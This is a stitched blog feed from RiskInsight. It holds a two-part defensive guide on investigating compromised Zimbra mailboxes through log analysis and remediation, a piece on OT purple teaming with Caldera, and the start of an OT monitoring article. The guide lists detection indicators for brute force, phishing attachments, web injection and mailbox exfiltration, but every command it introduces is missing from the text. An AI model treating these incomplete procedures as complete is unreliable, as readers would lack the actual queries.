• Ensure log preservation: This may seem obvious, but as soon as an incident is detected, securing the logs is critical. Collect logs immediately from the entire Zimbra infrastructure and extend their retention period to prevent automatic deletion. Because let’s be honest: logs disappearing just as the forensic team arrives is a way too common scenario… one you definitely want to avoid.

While these tips aren’t exhaustive, they provide a solid foundation for conducting an analysis that is both fast and efficient.

Post-compromise activity

Analysis of user activity  

What mastery! You have successfully traced back to the initial entry point used by the attacker to compromise user accounts. You have identified the malicious IP addresses, spotted the User-Agent used, and even uncovered other compromised accounts thanks to this information. In short, clean and efficient work. Impressive!

But… we still haven’t answered a crucial question: “What was the attacker’s objective, and what actions did they take from the compromised accounts?“

To find out, you now need to analyze the attacker’s activity within the Zimbra infrastructure. Once authenticated, an attacker can indeed:

• Launch an internal or external phishing campaign
• Send messages aimed at tricking a colleague, partner, or client into taking action (CEO fraud, fictitious urgent requests, etc.)
• Exfiltrate sensitive data from mailboxes

In this section, we will examine some examples of suspicious activities that can be identified from Zimbra logs.

Sending a large number of emails in a short amount of time

You want to determine whether compromised accounts were used to conduct additional phishing attempts by sending mass emails to internal or external recipients. Unfortunately, Zimbra does not provide a native event that allows you to retrieve this information directly. However, a simple grep command will get the job done.

The command below extracts the number of messages sent by each user over a specific period (here, from November 21 to November 27, 2025):

In this example, user25@wavestone.corp clearly stands out with a sending volume far above normal. An unusually high volume of emails sent from a mailbox over a short period constitutes suspicious activity.

In legitimate use, mass email sending is relatively rare and is generally associated with generic addresses or internal communication systems (e.g., newsletters, HR announcements). When a standard user account exhibits this type of behavior, it is important to:

• Determine whether this is normal, recurring activity for the user
• Check the sending time frame, IP address, and User-Agent
• Verify whether any suspicious attachments were associated with the emails

Mass email sending can trigger built-in protection mechanisms in Zimbra, including quota rules. These thresholds are designed to limit the volume of messages sent by an account over a given period to prevent abuse, spam, or phishing campaigns.

The two commands below allow you to retrieve events related to quota exceedances:

The appearance of error messages related to quota exceedances is a signal not to be ignored, because:

• Either the legitimate user accidentally exceeded a quota
• Or the account is being used fraudulently to send mass emails

Since this indicator can generate a large number of false positives, it is recommended to correlate it with other information in order to draw meaningful conclusions.

Sending an email to a large number of recipients

To avoid triggering a quota‑exceedance alert, a more seasoned attacker may adopt a more “subtle” strategy. Instead of sending dozens of individual emails (a noisy method), they may choose to send a single message addressed to a long list of recipients: an efficient way to optimize their phishing campaign.

Fortunately for you, Zimbra logs make it possible to identify the number of recipients associated with each sent email, which makes this type of maneuver detectable without too much effort.

The commands below allow you to identify emails sent to an unusually high number of recipients:

Here, you can observe that the user user25@wavestone.corp sent an email to 211 recipients. Such behavior is clearly suspicious.

In practice, it is rare for a personal email address to send a message to several dozen recipients simultaneously. This type of volume is usually associated with shared mailboxes or generic addresses (e.g., internal communications, HR services, institutional announcements).

When a standard user account exhibits this kind of activity, it is essential to:

• identify the usual communication practices within the organization
• determine whether this sending volume is normal or recurrent for the user in question
• examine the time window, IP address, and user agent used during the sending
• check if any potentially malicious attachments were associated with the messages

To save time, it is often relevant to confirm directly with the user whether the sending was legitimate.

The example presented here isolates sends containing more than 100 recipients. However, this threshold should be adjusted depending on:

• the usual volume within the organization
• the type of accounts involved
• and the period covered by the logs analyzed

Uploading suspicious attachments

Unlike email reception, the upload of suspicious attachments is better logged by Zimbra. Each time a user attaches a file to a new email, Zimbra carefully records the operation in its logs.

Using the commands below, you can retrieve the attachments added to emails by a potentially compromised user:

Similarly to the reception of malicious attachments, you can search in the logs for:

• the upload of attachments with suspicious extensions (e.g., .htm, .html, .exe, .js, .arj, .iso, .bat, .ps1, or Office/PDF documents containing macros);
• files already observed earlier during the initial phases of the incident (for example, a document downloaded by patient zero);
• correlating upload activities with malicious source IP addresses or accounts identified as compromised.

This list is not exhaustive; it may be relevant to search for any type of file that seems pertinent to the context of your investigation.

Removal of traces

Now that you have a clear picture of what the attacker did with the compromised accounts, you are disappointed because you cannot locate the emails in question. You suspect that the attacker erased its traces. But how can you verify this?

Indeed, after sending malicious emails, an experienced attacker may try to hide its tracks from the legitimate mailbox owner by deleting sent emails or returned messages.

Fortunately, the following commands will allow you to identify email deletions performed in Zimbra:

In legitimate use, it is not uncommon for a user to delete multiple emails (e.g., inbox cleanup, managing newsletters). However, the situation becomes suspicious when deletions occur:

• Immediately after a mass email sending
• Targeting specifically the most recently sent messages

During your investigation, keep in mind that an attacker may also attempt to delete:

• Read receipts generated by their emails
• Automatic replies (out-of-office messages, NDRs) that could alert the victim

It is therefore important not to overlook deletions and to correlate them with other indicators (suspicious authentications, mass email sending, quota exceedances, connections from malicious IPs) to assess the legitimacy of these actions.

Data exfiltration

One question still troubles you… Among the compromised accounts, some belonged to users who handled sensitive data for the company. You therefore want to determine whether the attacker attempted to exfiltrate any email they had access to.

Unfortunately for you, Zimbra does not log the direct download of emails. After all, retrieving messages via IMAP or SMTP is essentially a “download” from the server to the mail client. It is therefore difficult to distinguish a normal transfer from a malicious download. And in the Nginx logs (which expose the webmail), the same issue arises: it is impossible to precisely identify whether an email was downloaded.

As a small consolation, Zimbra does log certain internal operations, particularly copy actions performed within the mailbox. An attacker could, for example, create a folder to store sensitive emails before extraction.

The following command allows you to identify a massive copy of emails into a folder (here named “Exfiltration“) from the web client:

The following command allows you to identify a copy of a large number of emails in a folder from an IMAP thick client:

Although there are legitimate cases (e.g., manual backup by the user), this type of activity should raise attention, especially when correlated with:

• Logins from unusual IP addresses
• Suspicious authentications
• Mass email sending

However, as you can see, it is very difficult to confirm a data exfiltration. Therefore, it should be assumed that if a mailbox is compromised, the attacker potentially had the ability to download all emails of the affected user.

Detection of antivirus and antispam solutions

We haven’t really covered this until now, but it’s important to know that Zimbra natively integrates Amavis, a “central” component that orchestrates various security engines. These engines help identify suspicious files, phishing campaigns, and mass spam sending. It is therefore valuable to leverage these detection mechanisms when analyzing an attacker’s activities.

During your investigations, examining the messages generated by Amavis can help highlight:

• Messages blocked before reaching the user’s mailbox (e.g., spoofing attempts)
• Malicious attachments detected and placed in quarantine
• Violations of certain security policies defined on the platform

Amavis

It is possible to retrieve certain events generated by Amavis with the following commands:

Since Amavis generates a large number of events, it may be wise to focus your investigation on detections related to spam and phishing. Note that the identification of phishing messages has already been discussed in a previous section of this article (“Account Compromise via Phishing Attack“)

Incoming spam

It may be useful to identify messages that have triggered incoming spam detections. When a message is classified as spam, Zimbra generates logs indicating the reason for this categorization.

These events can contain several useful pieces of information:

• The affected account
• The unique identifier of the message in the mailbox
• The originating IP address of the email
• Additionally, in the case of a SpamReport:
  • The result of the analysis (isSpam field)
  • The action taken (e.g., moving the message from the Inbox to Junk)
  • Sometimes the recipient of the report used for training or reporting purposes (e.g., a dedicated address such as spam@wavestone.corp

The following command can help you identify events related to the processing of incoming spam:

Since spam detections generate a large number of false positives, it may be useful to narrow the scope of your investigation as much as possible (for example, by focusing on a specific time period or a specific set of users).

Outgoing spam

The threat does not always come from outside. Some malicious emails sent from compromised internal accounts to external recipients can leave very interesting traces in Zimbra’s logs. Indeed, if the message sent from the compromised account is blocked by the recipient mail server’s antispam solution, that server will send an error notification back to the Zimbra server to report the rejection.

Analyzing these non-delivery reports (NDRs) can therefore raise a red flag:
it may reveal that a user is compromised… or that an account has been used in an attempt to send malicious emails.

It is possible to extract these rejected messages using the following command:

Outgoing spam is generally rare. Analyzing it only becomes truly useful in cases where the attacker attempts to lateralize to external email accounts.

Remediation measures

You have conducted your investigation at full speed: compromised users identified, malicious IP addresses cataloged, suspicious activities analyzed… in short, you have traced the attack with surgical precision. It is now time to move to the next step: remediation.

The primary goal of remediation is to remove the attacker’s access to the infrastructure, implement detection mechanisms capable of preventing further compromise attempts, and strengthen user awareness to limit the impact of ongoing and future phishing campaigns.

By collecting various indicators related to the phishing campaign (compromised or suspected accounts, email addresses, malicious IPs and domains, etc.), it is recommended to implement a series of corrective and preventive actions (non-exhaustive):

• Reset passwords for suspected accounts: For any user who has been compromised or is suspected of being compromised, a password reset is required.
• Block malicious domains, IP addresses, and email addresses: Infrastructure elements used by the attacker (domains, IPs, senders) should be blocked using available network solutions (proxy, firewall, mail filters) as soon as they are detected. This will limit the risk of further propagation.
• Perform antivirus/EDR scans on compromised user workstations: Workstations of compromised users should undergo antivirus or EDR analysis to:
  • Detect and remove any potential malicious files
  • Ensure that phishing-related files are no longer present on the workstation
• Strengthen user awareness: Communication about ongoing phishing campaigns should be sent to users to prevent further compromise. Regular phishing awareness campaigns are strongly recommended, particularly for users who have already been compromised.
• Implement multi-factor authentication (MFA) for Zimbra mail access: Deploying a second authentication factor is highly recommended to secure mailbox access. While MFA can be perceived as inconvenient, using a Single Sign-On (SSO) with unified MFA can reduce friction while strengthening overall authentication security.
• Deploy a specialized phishing detection and filtering solution: It is recommended to install a specialized solution in detecting malicious activity in email environments. The solution should be able to identify:
  • Logins from unusual IP addresses
  • Brute-force attempts on user accounts
  • Mass email sending to numerous recipients
  • Use of suspicious attachments or links to untrusted domains
  • Active phishing campaigns (e.g., identified by a CTI service)
• Ensure Zimbra log retention: It is important to secure the collection and retention of logs. It is recommended to centralize logs from the entire Zimbra infrastructure on a server external to that infrastructure. This ensures that even in the event of compromise, modification, or encryption of Zimbra servers, logs remain intact and accessible, allowing reliable forensic investigations.

Although non-exhaustive, these remediation measures will help restore confidence in your Zimbra infrastructure and user accounts. Continuous monitoring and improvement of the security posture will, however, be necessary to adapt to future threats.

At the end of this little investigation, one thing is certain: while the attacker can choose the easiest path, the forensic analyst doesn’t have that luxury. Between scattered (or sometimes missing) logs, conflicting user testimonials, and limited visibility into certain Zimbra events, conducting an investigation can sometimes feel like solving a Rubik’s Cube… in the dark… with mittens on.

But with a solid methodology and a few good habits, Zimbra can reveal far more information than it might seem at first glance. Its logs are a real goldmine, provided you don’t get lost in them.

Ultimately, this article does not aim to turn every reader into a Jedi master of Zimbra forensics… but if it can save you two days of trying to decode Zimbra logs or hunt down the useful information, then the goal has been achieved!

And as is often said, in cybersecurity as elsewhere, prevention is better than cure. So harden your Zimbra infrastructure, back up your logs, raise user awareness… and above all, don’t be short on coffee supplies!

Sources

• https://wiki.zimbra.com/wiki/Log_Files
• https://wiki.zimbra.com/wiki/Troubleshooting_Course_Content_Rough_Drafts-Zimbra_Architecture_Component_Overview
• https://wiki.zimbra.com/wiki/Trouble_Shooting_Spam_Score_Changes

Cet article Zimbra Mailbox Compromise: From Analysis to Remediation (Part 2) est apparu en premier sur RiskInsight.

In most companies, webmail access portals are exposed on the internet and do not always benefit from sufficient access-control mechanisms. In addition, some messaging services offer extended features that go beyond simple email consultation, such as file sharing or access to collaborative applications.

Poorly secured messaging services therefore represent prime targets for attackers. Compromising a mailbox can then be used to launch phishing campaigns, access sensitive data, carry out fraud attempts, or even gain access to other services.

At CERT-W, we regularly deal with this type of compromise. In particular, several of our investigations in 2025 involved the compromise of Zimbra email accounts, a solution used by many public and private organizations. Faced with these incidents, we noticed a clear lack of forensic documentation specific to Zimbra infrastructures.

This article is therefore our modest contribution to filling this gap. We share a pragmatic approach and a few tips to help you save time when analyzing this type of environment, as well as some remediation measures.

The Zimbra Infrastructure

If you’re not familiar with Zimbra infrastructures, don’t worry: this section is for you! For the more experienced readers, feel free to jump straight to the investigation section (we won’t hold it against you).

The architecture

Zimbra isn’t just “another mail server“. It’s a complete open-source collaborative suite that brings together several useful components:

• A mail server: the core of the system.
• A calendar, contacts, and task manager: so you never forget that 9 AM meeting.
• A web client: accessible from any browser.
• Additional services: antispam, antivirus, mobile synchronization, and more.

But like any infrastructure used by hundreds (or even thousands) of users simultaneously, sizing and performance quickly become important topics. That’s why Zimbra can be deployed in two different ways:

• Monolithic mode: everything on a single server (simple and effective… up to a point).
• Distributed mode: multiple servers, each with a specific role, to better handle load, availability, and maintenance.

In simplified form, a distributed Zimbra infrastructure looks like this:

Although the architecture may vary, the following components are usually present:

• Proxy Server: the entry point for Web, IMAP/POP, and ActiveSync clients. Logs generated at this level provide visibility into user connections (IP addresses, user agents, timestamps, etc.).
• Web Client Server (Mailboxd UI): hosts the Webmail interface used by users to access their mailbox through a browser.
• Mailbox Server (Mailboxd): hosts user mailboxes and manages messages, folders, and calendars. This component generates the richest logs (e.g., mailbox.log, audit.log, sync.log).
• MTA Server (Message Transfer Agent): receives emails via SMTP and delivers them to the appropriate Zimbra mailbox server using the LMTP (Local Mail Transfer Protocol).

The Zimbra MTA relies on several complementary services:

• Postfix MTA: handles message routing, relaying, and filtering (including attachments).
• ClamAV: antivirus engine responsible for scanning messages and attachments.
• SpamAssassin and DSPAM: spam filters that use various mechanisms to identify unwanted emails.
• Amavis: the orchestrator that runs the configured antivirus and antispam engines, then applies processing policies to incoming messages.

The MTA server plays a key role in the Zimbra infrastructure. This is where most of the security checks applied to incoming emails are performed. The diagram below illustrates the main stages of this analysis workflow:

In the process of receiving an incoming email, the message is first handled by Postfix, which then forwards it to Amavis for analysis. Amavis invokes the various configured analysis engines and submits the email to each of them to collect their results. Based on the defined policies, Amavis returns a verdict to Postfix: deliver the message, block it, or move it to a specific folder.

Zimbra logs

Now that you’re practically a Zimbra architecture expert (or almost ), you’ve probably noticed that many services are required to handle users’ email sending and receiving. The good news is that each of these services generates its own logs, providing significant visibility into the activity of the mail infrastructure. And for us forensic analysts, that’s excellent news: we love logs!

Studying the logs generated by Zimbra allows us to reconstruct the timeline of a compromise, identify compromised mailboxes, spot malicious attachments, and even detect potential internal relays.

This wealth of information is made possible thanks to logs, which are mainly located in:

• /opt/zimbra/log/mailbox.log: main log of user activities (authentications, sending/receiving emails, managing mails, folders, contacts, calendars, etc.).
• /opt/zimbra/log/access_log: Webmail access log (IP addresses, user agents, visited URLs).
• /opt/zimbra/log/audit.log: authentication traces (successes, failures, mechanisms used).
• /opt/zimbra/log/sync.log: mobile synchronization traces (ActiveSync/EAS).
• /opt/zimbra/log/convertd.log: file conversion traces (Webmail previews, indexing).
• /opt/zimbra/log/clamd.log | /opt/zimbra/log/freshclam.log: ClamAV antivirus activity.
• /opt/zimbra/log/spamtrain.log: traces of user-initiated antispam training.
• /opt/zimbra/log/cbpolicyd.log: Postfix policy enforcement (quotas, anti-relay, restrictions).
• /var/log/mail.log: system Postfix logs (SMTP, LMTP, Amavis).
• /var/log/nginx.access.log | /var/log/nginx.log: Nginx web server logs (useful for contextualizing web sessions).

Unfortunately, in a distributed Zimbra architecture, logs are not centralized. In other words, to get a complete picture of an incident, an analyst often needs to collect logs from each node: proxy, mailstore, MTA, or any other peripheral server. Yes, it requires a bit of gymnastics (and patience).

As we mentioned, the wealth of Zimbra logs is a real goldmine for investigations… but, like any mine, you need to dig methodically, or you’ll quickly find yourself buried under tons of log lines. Some effort in sorting and correlating data is therefore necessary to extract relevant information.

And despite their undeniable usefulness, Zimbra logs have some notable limitations:

• No access to the full content of emails or their attachments.
• Email subjects are rarely available, except when intercepted by antispam or antivirus modules.
• No native visibility into the creation of forwarding rules.
• Rapid rotation of verbose logs (like log), which limits the analysis time window if logs are not centralized.

Investigating in a Zimbra Environment

Now that Zimbra’s infrastructure and logs hold no secrets for you, it’s time to get practical.

Imagine you’re a forensic analyst, arriving early one morning, when suddenly: the phone rings. You’re being called because several users are reporting that emails, they didn’t send are appearing in their “Sent” folder.

Panic ensues! Users are afraid to log into their mailboxes, and some administrators start wondering whether the Zimbra infrastructure itself might be compromised.

Since you know Zimbra inside out, the team naturally turns to you to investigate this incident!

As a forensic analyst, many questions come to mind:

• Have the accounts really been compromised? If so, how and since when?
• How many users are affected?
• What is the attacker’s objective, and what malicious actions have been carried out from these accounts?
• Have the mail server or other Zimbra components been compromised?
• And, most importantly: do I have time for a coffee before the information hunt begins?

To help you in your investigation, we’ll look at how to answer these questions through Zimbra log analysis. But first, here are some tips to guide your investigation.

During incident response, it’s easy to feel overwhelmed by the amount of logs and events to analyze. Keeping a clear line of reasoning is essential. A few simple practices can help maintain focus:

• Confirm: Verify the information that triggered the incident. Before diving deeper, ensure the initial alert is accurate. This undeniable baseline will serve as the foundation for the entire investigation.
• Correlate: Cross-check suspicious IP addresses and domains with other sources (proxy, VPN, EDR, online antivirus databases). This provides additional context related to the identified indicator.
• Pivot: Use the collected information to expand your analysis. An attacker might reuse the same IP address or user-agent across multiple accounts. Conversely, a compromised account might be accessed from different IP addresses or user-agents. Pivoting can reveal other indicators that help identify the attacker.
• Compare patterns: Even without direct access to email content or attachments, certain elements can reveal similarities (file size, identical filenames, repeated sequences of actions after account compromise). This behavioral analysis approach can help identify multiple users compromised by the same attacker. Such hypotheses should be formulated and handled cautiously, but they can be valuable for confirming intuition.
• Ensure log preservation: This may seem obvious, but as soon as an incident is detected, securing the logs is critical. Collect logs immediately from the entire Zimbra infrastructure and extend their retention period to prevent automatic deletion. Because let’s be honest: logs disappearing just as the forensic team arrives is a way too common scenario… one you definitely want to avoid.

While these tips aren’t exhaustive, they provide a solid foundation for conducting an analysis that is both fast and efficient.

Compromise and initial access

The spoofing trap

You are not fooled! You know that sometimes one might believe the attacker is already inside the system, when in reality, they are still outside (fake it until you make it). Especially when multiple users start reporting concerning incidents, such as:

• “I received an email from so-and-so, yet they claim they never sent it.“
• “I received an email from my own address, which makes no sense!“

But your experience pushes you to verify that the current confusion is not simply the result of… a spoofing attack.

Indeed, spoofing is a relatively simple identity impersonation attack used by malicious actors to falsify email header information (e.g. sender address) in order to deceive a victim. Spoofing allows an email to be sent while pretending to be from a legitimate sender (for example, an internal user of the company or the recipient themselves), when in reality the email comes from an infrastructure that has no authorization to use that email address.

The goal is to gain the recipient’s trust to prompt them to take an action (click a link, open an attachment, provide credentials, etc.) or bypass filtering mechanisms.

Mechanisms such as SPF, DKIM, and DMARC were designed to reduce the risks associated with spoofing by allowing verification of the sender domain and server authenticity.

More specifically, the Sender Policy Framework (SPF) is an email security mechanism that allows verification that the sending server of a message is indeed authorized to send emails on behalf of the domain indicated in the sender’s address. The steps of an SPF check are illustrated below:

Concretely, the domain owner publishes in the DNS records a list of IP addresses authorized to send emails on behalf of their domain. When a mail server receives an email, it can compare the sender’s IP address to this list and determine whether the message is legitimate or potentially fraudulent.

An SPF check failure indicates that the email was sent from a server not authorized by the sender’s domain. This serves as an indicator for identifying potential spoofing attempts.

In Zimbra logs, SPF check failures can be identified using the following command:

In above example, we can see that the message sent from attacker@microsoft.com to user25@wavestone.corp does not pass SPF validation (SPF_FAIL). The “Yes” field indicates that it is classified as spam. Since its score (9.172) exceeds the required threshold (4), this message will therefore not be delivered to its recipient.

However, you should not place blind trust in the antispam engine! Some emails that fail SPF checks may still be delivered. To extract only these messages, you can use the following command:

In the example below, the message fails the SPF check, but its score is negative (-2.06) and below the spam threshold (4). It is therefore considered legitimate and delivered to the recipient despite the SPF failure.

As you can see, Zimbra logs make it possible to quickly identify senders responsible for spoofing attacks. Detecting a spoofing case early in the investigation helps to quickly reduce concerns and restore a certain level of trust in the Zimbra infrastructure.

Analysis of the attacker’s initial access

Once you have confirmed that you are not dealing with a spoofing attack, it means the attacker has, in one way or another, succeeded in compromising an account or a component of the infrastructure. The first step of your investigation will be to identify the attacker’s initial point of entry. This means finding the answers to the questions “Where?”, “When?”, and “How?”. But when it comes to compromising a mailbox, several approaches are possible…

Account compromise through password brute‑forcing

One path you can explore is the possibility that the attacker attempted to compromise certain accounts through a brute‑force attack.

To do this, simply examine authentication failures in the Zimbra logs:

In the events above, we can see authentication attempts coming from the IP address 100.100.4.111 that failed for the account user25@wavestone.corp.

A large number of unsuccessful login attempts over a short period, from the same IP address or targeting the same account, is indicative of a brute‑force attempt.

An excessive number of authentication failures can also trigger automatic account lockout by Zimbra:

From a forensic perspective, the appearance of such an event in the logs may suggest that an account was potentially targeted.

Once the brute‑force attempt has been identified, it is possible to check when the attacker may have used the compromised account by analyzing the successful logins associated with that user:

Additionally, if you have identified the attacker’s IP address, you can find all successful connections from that address using the following commands:

Once malicious connections have been identified, it is necessary to analyze the account activity following these accesses in order to identify the actions performed by the attacker.

Account compromise through phishing attacks

If no brute‑force attempts have been identified, another common initial compromise vector is the way too familiar: phishing attack! In this case, the attack does not target the Zimbra infrastructure directly: the user first receives an email prompting them to visit a fraudulent page or open a malicious file. Only after clicking does the damage occur (such as credential or session token theft).

In this scenario, you should, if possible, retrieve the malicious email from the user’s mailbox for analysis. If you can obtain it, here are the key pieces of information to collect:

• Date and time of receipt
• Subject of the email
• Sender (From)
• Recipients (To, Cc)
• Reply addresses (Reply-To, Return-Path)
• IP address of the originating sending server
• Names of attachments (if any)
• Results of SPF, DKIM, and DMARC checks
• Identified phishing URLs (if present)

These elements will help reconstruct the attacker’s methodology, provide initial guidance for your investigation and define first remediation measures.

Unfortunately, if you do not have direct access to the user’s mailbox, you will need to rely primarily on Zimbra logs, specifically the events generated by Amavis when analyzing incoming emails.

Suppose you want to identify malicious attachments sent by an attacker to users. Zimbra logs are very useful in this case, as they allow you to track the files that were analyzed and extract information such as their name, size, type, and fingerprint (SHA1).

The following command allows you to identify attachments processed by Amavis during the analysis of incoming messages:

The result above shows that the file Evil.htm was analyzed by Amavis. Several useful pieces of information can be found:

• Date and time: November 12 at 11:15
• SHA‑1 signature of the file: 9d57b71f9f758a27ccd680f701317574174e82d8
• Size: 22,111 bytes
• Content-Type: text/html
• Amavis session ID associated with this analysis: 4384125-19

However, on their own, these elements do not allow you to determine which users received this attachment or who the sender was. To obtain this information, a second command must be executed to retrieve all traces associated with this Amavis session:

From this information, you can now deduce that attacker@example.com sent the file Evil.htm (22,111 bytes) to user25@wavestone.corp on November 12 at 11:15, and that its SHA‑1 signature is 9d57b71f9f758a27ccd680f701317574174e82d8. Not bad, right?

During your investigation, you can further filter the output of these commands to identify:

• Attachments with suspicious extensions (e.g., *.htm, *.html, *.exe, *.js, *.arj, *.iso, *.bat, .ps1, or Office/PDF documents containing macros)
• Files previously observed during the early stages of the incident (for example, a file downloaded by patient zero)

During a phishing campaign involving the delivery of a malicious file, attackers often tend to distribute the same file to multiple users. It is therefore possible to rely on statistical analysis to highlight abnormal values.

The following command allows you to identify identical files present in several incoming emails:

The command above allows you to retrieve, for each attachment in emails received by Zimbra, the number of times it has been observed in other emails, based on its name and SHA‑1 signature.

In this example, the file Evil.htm appears in 40 emails, which, combined with its .htm extension, makes it particularly suspicious. It would therefore be relevant to attempt to retrieve this file from the affected users to verify its legitimacy.

If the analysis of attachments did not help you identify the culprit, there is one last avenue to explore: retrieving phishing detections from SpamAssassin (an antispam engine executed by Amavis).

The following command allows you to identify messages flagged as suspected phishing by SpamAssassin:

However, this command only provides limited information: the sender, the recipient, and the detection rules that were triggered. To obtain more details on the complete analysis, you must retrieve the Amavis session ID associated with the message (here 765283-08), then execute the following command:

This second command provides access to additional information generated during the analysis of the message by Amavis.

However, SpamAssassin results should be interpreted with caution, as its detection rules can generate a significant number of false positives.

Exploiting a vulnerability on the Zimbra web server

Your experience as a forensic investigator has taught you: this is neither the first nor the last time that an application vulnerability allows an attacker to hijack user sessions. Zimbra is no exception, and its web server, which provides access to mailboxes, could very well be vulnerable to this type of attack.

Compromise of the Zimbra web server could, in theory, allow an attacker to capture credentials of users logging in. “But how can we check if Zimbra has been subjected to web intrusion attempts?” you might ask.

A first step is to inspect the proxy (nginx) logs to identify malicious or suspicious HTTP requests targeting the web interface:

Among the indicators to look for in the logs are:

• Unusual POST or PUT requests or requests to unexpected endpoints
• Injection attempts (SQLi, LFI, RCE payloads visible in URIs or parameters)
• Repeated access to non-public resources or atypical scripts
• Strange User-Agents or a high concentration of requests from the same IP
• Numerous 4xx/5xx errors on sensitive paths (indicative of scanning/enumeration)
• Signs of file uploads (attempts to access /tmp, /uploads, etc.) or hits on known web shells

If you observe malicious requests that succeeded (for example, with an HTTP 200 code), it is recommended to conduct a more in-depth investigation on the server to determine whether the exploitation was actually successful.

Compromise of the user’s workstation

If none of the previous scenarios seem to match what you are observing and the initial point of entry remains unidentified, it is possible that the attacker obtained access credentials directly from the user’s workstation.

This type of compromise can occur, for example:

• As a result of a previous phishing campaign
• Because the user executed a malicious program on their machine (cracks, software downloaded from a dubious site, connecting an infected USB drive, etc.)

Once able to execute code on the workstation, the attacker can easily extract credentials stored in the browser, retrieve session cookies, or even install a keylogger to capture keystrokes.

Detecting this type of compromise goes beyond the scope of this article. But keep this possibility in mind: if no intrusion traces appear in Zimbra, the problem may lie elsewhere .

Yes! The investigation is far from over! This first part has allowed you to master Zimbra’s architecture, understand the different sources of evidence, and observe that through Zimbra logs it is possible to identify several compromise techniques. However, the initial access is only the starting point of our research. In a second part, we will continue the post–initial-access analysis. First, we will try to identify the malicious actions carried out by the attacker after compromising an account. Second, we will review the various remediation measures to implement. Stay tuned, a follow-up article will be published soon to delve deeper into these next steps!

Sources

• https://wiki.zimbra.com/wiki/Log_Files
• https://wiki.zimbra.com/wiki/Troubleshooting_Course_Content_Rough_Drafts-Zimbra_Architecture_Component_Overview
• https://wiki.zimbra.com/wiki/Trouble_Shooting_Spam_Score_Changes

Cet article Zimbra Mailbox Compromise: From Analysis to Remediation (Part 1) est apparu en premier sur RiskInsight.

This third article focuses on a key question: how do you measure the efficiency of your OT detection? 

From compliance to efficiency: a KPI paradigm shift 

KPI stands for Key Performance Indicator. However, we tend to create KPIs to monitor progress against our plans, not real performance. While useful, monitoring only deployment or coverage (number of sites connected to the SOC, EDR deployment on OT machines, number of probes registered to the management console) tells you very little about the actual ability of your SOC to detect a real attacker. 

So, how confident are you in your detection tools, use cases, and processes? The only way to be sure is simple: test them. And the best way to test them is through Purple Team exercises. 

What is Purple Teaming in OT? 

A Purple Team exercise is a collaborative mission between the Red Team (attackers) and the Blue Team (defenders). Unlike a traditional Red Team assessment, where the defenders are kept in the dark and evaluated afterward, a Purple Team exercise is an iterative, joint effort. 

This collaborative approach allows both teams to: 

• Share assumptions about the OT environment 
• Validate detection logic in real time 
• Understand blind spots 
• Improve playbooks and detection pipelines 
• Align everyone around a realistic threat model 

Performing a Purple Team Exercise 

A Purple Team operation can be summarized in three main phases: 

1. Preparation

The preparation phase is often the most challenging, especially in OT environments, where safety, process continuity, and vendor constraints must be considered. 

Depending on the maturity of the organization, preparation can range from basic to highly sophisticated: 

• Unit Tests 
  Small, isolated tests of specific detection rules (e.g., “Detect Modbus function code 90”). 
• Feared Scenario-based Testing 
  Build scenarios around the organization’s crown jewels and failure modes (e.g., “Unauthorized remote program upload on a PLC controlling a critical process”). 
• CTI-Infused Testing 
  Integrate threat intelligence: test techniques used by real OT-focused attackers (e.g. TTPs from Volt Typhoon, Sandworm, Xenotime, or ransomware groups targeting industrial environments). 

To structure the preparation phase, two elements are essential: 

• A good knowledge of your OT environment 
  Planning an exercise that will be relevant to both the business risks & OT detection without impacting the process requires a deep knowledge of the site and its automation. 
• Mapping to the MITRE ATT&CK for ICS matrix 
  Mapping your tests to the ATT&CK matrix allows you to have a common language with the detection teams. This allows you to select relevant techniques, avoid blind spots, and ensure coverage across multiple layers: OT workstations, PLCs, network interactions, engineering actions… 

2. D-day (Execution)

Execution is performed jointly: 

• The Red Team launches controlled and authorized actions 
• The Blue Team monitors detections in real time 
• Both teams adjust, document, and validate findings as the exercise unfolds 

Depending on the scope and complexity of the tests, the Purple Team operation can last from a few hours to a few days. 

Ensuring Reproducibility with Caldera 

To ensure repeatability and consistency across Purple Team exercises, automation becomes key.  Caldera, an open-source Breach & Attack Simulation (BAS) framework developed by MITRE, is a powerful tool for this. 

As a former pentester, I’ve always disliked the term “automated pentest”—but BAS tools are the closest thing we have to repeatable, safe attack execution. 

Why use Caldera instead of performing tests manually? 

Caldera enables you to: 

• Prepare and validate a controlled list of tests on a controlled list of assets 
• Ensure only authorized actions are executed 
• Guarantee reproducibility across environments 
• Replay the exact same actions to measure improvements after configuration changes 

Some OT-specific plugins already exist in the Caldera-OT module, supporting Modbus, Profinet, DNP3, and others. 

Recently, Wavestone released two additional OT plugins: 

• Siemens S7 protocol support 
• OPC-UA communications actions 

Caldera in a nutshell 

Caldera usage relies on: 

• Abilities: atomic technical actions (e.g., reading coils, writing tags, scanning a PLC) 
• Adversaries: collections of abilities that form a scenario 
• Operations: real-time execution of those adversaries against a target 

Fact sources: parameters provided for an operation; you can launch the same operations against different environments by just changing the fact source. 

The following video (French with English subtitles) will walk you through a demonstration of Caldera on our small ICS demo setup: 

3. Debriefing

The debrief is where most of the value is extracted. The following types of Key Performance Indicators might be used: 

• Detection Coverage – what percentage of executed stimuli were detected? 
• Alert Quality – were alerts actionable, precise, and intelligible? 
• Reaction Time – how long before an alert is raised and acknowledged? 
• Playbook Efficiency – were the right actions taken in the expected time frame? 

These might phase results in: 

• Updated detection rules 
• Improved SIEM/SOC playbooks 
• Better monitoring architecture 
• Training material for analysts and engineers 

Start Testing Now! 

Purple Team testing brings value immediately, no matter what your current maturity level is: 

• It validates your tools in real-world conditions 
• It trains your SOC and OT teams 
• It reveals blind spots early in the program 
• It provides quantitative KPIs to drive detection improvements 

And yes, it is possible, in most production environments, under the following conditions: 

• Strictly controlled scope 
• Vendor-approved actions 
• No disruptive functions executed 
• Involvement of operations and safety teams 
• Continuous monitoring of system behavior during testing 

In short: start small, stay safe, and iterate. 

Do not wait for your OT security program to be “finished” before you start testing its effectiveness! 

Cet article Purple Teaming for OT:  How to switch from a compliance to a performance mindset? est apparu en premier sur RiskInsight.

In a previous article: Cybersecurity monitoring for OT, Current situation & perspectives we have seen that OT, while overall less impacted than IT, is not exempt from cyberthreats & not immune to cyberattacks. But, due to the difficulty in updating legacy Industrial Control Systems (ICS), cybersecurity measures are often added after deployment. Continuous monitoring is seen as a practical substitute for built-in, cyber-by-design protection. 

When it comes to monitoring tooling, we observed that 100% of our clients have detection tools deployed on the IT side of industrial sites. But only one-third extend monitoring down to the lower layers of the industrial environment:

There is a large variety of detection sources allowing monitoring across different levels of the Purdue model:

• Firewalls (including industrial firewalls)
